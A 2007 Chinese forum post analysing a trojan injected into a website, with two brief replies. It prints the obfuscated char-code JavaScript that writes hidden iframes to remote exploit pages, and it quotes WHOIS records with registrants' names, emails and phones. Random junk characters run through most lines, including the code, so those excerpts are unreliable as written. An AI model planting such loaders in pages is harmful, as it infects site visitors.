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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, }5A?WH_  
g}f@8;TY  
http://www.areway.cn/?p=175 [P<oyd@#  
4"GY0) Q  
-1@kt<Es  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: =lzjMRX(?  
          a^CIJ.P2  
<script>t=’60,105,102,114,97,109,101, J[^-k!9M  
32,115,114,99,61,104,116,116,112,58,47,47, 3o1j l2n  
102,114,101,101,46,117,45,117,117,117,46,99, !$O +M#  
110,47,101,114,114,111,114,46,104,116,109, 5!wa\)wY  
32,119,105,100,116,104,61,49,48,48,32,104, 1PWDK1GI8  
101,105,103,104,116,61,48,62,60,47,105,102, Z*k}I{0,-  
114,97,109,101,62′; J~~WV<6  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Alrk3I3{  
                                                                                                  zfS`@{;F`|  
<script>t=’60,105,102,114,97,109,101,32,115, *@D.=i>  
114,99,61,104,116,116,112,58,47,47,102,114, I!{5*~ 3  
101,101,46,117,45,117,117,117,46,99,110,47, f\ Qi()  
101,114,114,111,114,46,104,116,109,32,119, Er{yQIi0L  
105,100,116,104,61,49,48,48,32,104,101,105, V%"aU}   
103,104,116,61,48,62,60,47,105,102,114,97, }^=J]  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); (*#S%4(YX  
document.write(t);</script> # TvY*D,  
                                                                                                  0Rj_l:d=  
<html xmlns=” d !>PqPo  
http://www.w3.org/1999/xhtml lLnD%*03  
“> i`X/d=  
<head> ZM\Z2L]n  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> WzF/wzR  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> iZ&CE5+  
<title>首页 - 爱生活家庭网 %kF6y_h`  
                                                                                                                                                    D&.+Dx^G  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 LnLuWr<;}  
转换字符串后的大概内容是(谁点击后果自付): o_{-X 1w  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… t)5bHVx  
                                                                                                                                  /CH*5w)1   
查询玉米u-uuu.cn的详细信息: 6z~6o0s~  
Domain Name: u-uuu.cn L9@nx7D  
ROID: 20070901s10001s64972306-cn *S7<QyVh  
Domain Status: ok p2\@E} z  
Registrant Organization: 王雷 aCQAh[T  
Registrant Name: 王雷 "I u3&mc  
Administrative Email: czlovexs@126.com V4_ZBeWA  
Sponsoring Registrar: 北京万网志成科技有限公司 E-CZk_K9  
Name Server:ns.yovole.com wPyfne?~,  
Name Server:ns1.yovole.com 2|m461   
Registration Date: 2007-09-01 17:54 |SCO9,Fs  
Expiration Date: 2008-09-01 17:54 Uh{|@D  
最后PING了一下地址 都没有什么…. @?TOg{:  
                                                                                                {ymD.vf=9+  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. K;Fy&p^d  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> rxt)l  
<script language=”javascript” src=” ?nE<Aig  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script uq'T:d  
>  {ZB7,\  
这个玉米应该有可能是木马作者的: 86oa>#opU  
foafau.info的详细信息: ?m0|>[j  
Access to INFO WHOIS information is provided to assist persons in Nv w'[?m  
determining the contents of a domain name registration record in the !ouJ3Jn   
Afilias registry database. The data in this record is provided by |%Pd*yZA  
Afilias Limited for informational purposes only, and Afilias does not CnN PziB  
guarantee its accuracy.  This service is intended only for query-based ~8Z)e7 j  
access. You agree that you will use this data only for lawful purposes uvi+#4~G  
and that, under no circumstances will you use this data to: (a) allow, ,-D3tleu`  
enable, or otherwise support the transmission by e-mail, telephone, or `StlG=TB8  
facsimile of mass unsolicited, commercial advertising or solicitations b{_J%p  
to entities other than the data recipient’s own existing customers; or 4 1q|R[js!  
(b) enable high volume, automated, electronic processes that send r761vtC#  
queries or data to the systems of Registry Operator, a Registrar, or zW8rC!  
Afilias except as reasonably necessary to register domain names or bs/Vn'CE  
modify existing registrations. All rights reserved. Afilias reserves 8!sl) R  
the right to modify these terms at any time. By submitting this query, uS;N&6;:  
you agree to abide by this policy. M $ CnaH  
Domain ID:D22418703-LRMS F@UbUm2o  
Domain Name:FOAFAU.INFO 5NH NnDhuL  
Created On:20-Nov-2007 16:05:42 UTC 'b~,/lZd  
Last Updated On:20-Nov-2007 16:05:44 UTC DJR_"8  
Expiration Date:20-Nov-2008 16:05:42 UTC |U)M.\h  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) >We4F2?  
Status:CLIENT DELETE PROHIBITED D5^wT>3>  
Status:CLIENT RENEW PROHIBITED "&W80,O3  
Status:CLIENT TRANSFER PROHIBITED zb.dVK`7N-  
Status:CLIENT UPDATE PROHIBITED @p"m{  
Status:TRANSFER PROHIBITED ]2Zl\}GwY  
Registrant ID:GODA-040110615 s,Azcqem  
Registrant Name:liu hong H85J MPZ7  
Registrant Organization: NSI$uS6  
Registrant Street1:beijing H[S[ y  
Registrant Street2: n 'gU  
Registrant Street3: ir !/{IQx  
Registrant City:beijing 4d-f 6iiFV  
Registrant State/Province: B:;$5PUTc  
Registrant Postal Code:100000 NCL!|  
Registrant Country:CN JS$ojL^  
Registrant Phone:+86.860108888777  >cw%ckE  
Registrant Phone Ext.: gaV>WF  
Registrant FAX: wl7G6Y2  
Registrant FAX Ext.: }LeizbU  
Registrant Email:bbbshiji@163.com wwUa+6?  
Admin ID:GODA-240110615 Ce_k&[AJF  
Admin Name:liu hong qjDt6B^RO  
Admin Organization: KDxqz$14 -  
Admin Street1:beijing -c4g;;%  
Admin Street2: mBN+c9n/  
Admin Street3: :J6 xYy$  
Admin City:beijing $ra q,SP  
Admin State/Province: P.aN4 9`=  
Admin Postal Code:100000 S\io5|P  
Admin Country:CN ma TQ 0GX  
Admin Phone:+86.860108888777 4 ))ZBq?  
Admin Phone Ext.: A*^aBWFR  
Admin FAX: JCFiKt9n  
Admin FAX Ext.: Dk%+|c  
Admin Email:bbbshiji@163.com 2fN2!OT  
Billing ID:GODA-340110615 P8[rp   
Billing Name:liu hong m55|&Ux|  
Billing Organization: l]R=I2t  
Billing Street1:beijing +adwEYRrr  
Billing Street2: Y<qWG 8X  
Billing Street3: 4M*Z1  
Billing City:beijing ?*LVn~y  
Billing State/Province: ~ kwS`  
Billing Postal Code:100000 }iIZA>eF  
Billing Country:CN _59f.FsVR  
Billing Phone:+86.860108888777 #K&XY6cTj  
Billing Phone Ext.: )[wB:kG  
Billing FAX: z|bAZKSRYx  
Billing FAX Ext.: HQ:Y:  
Billing Email:bbbshiji@163.com 4g+Dp&U  
Tech ID:GODA-140110615 =aBc .PJ^  
Tech Name:liu hong "o)jB~ :L  
Tech Organization: cY]BtJ#  
Tech Street1:beijing u4x>gRz)  
Tech Street2: Q%r KKOX8  
Tech Street3: xB`j* %  
Tech City:beijing }i$ER,hXh  
Tech State/Province: iVT)V>Up  
Tech Postal Code:100000 9$f%  
Tech Country:CN +R"Y~ m{F  
Tech Phone:+86.860108888777 $:|?z_@  
Tech Phone Ext.: o4U0kiI@  
Tech FAX: 8B! MgNKV  
Tech FAX Ext.: C&HN#Q_  
Tech Email:bbbshiji@163.com zt;aB>jz#  
Name Server:NS27.DOMAINCONTROL.COM mR O@ZY;5  
Name Server:NS28.DOMAINCONTROL.COM "*< )pnJ  
Name Server: AcP d(Pc  
Name Server: P](/5KrK  
Name Server: .no<#l  
Name Server: ULH<FDot  
Name Server: @)XR  
Name Server: Tm\a%Z`U>  
Name Server: O@HL%ha  
Name Server: QpCTHpZ  
Name Server: (}m2}  
Name Server: (&MtK1;;  
Name Server: %/oeV;D  
                                                                                                          Cz|F%>y#  
接着下载每个文件里面的代码: NK\0X5##.  
一步一步看.. i&^]qL|J  
AO]k*N,N  
w?V;ItcL  
Fe1XczB  
!?)aZ |r  
2q4-9vu  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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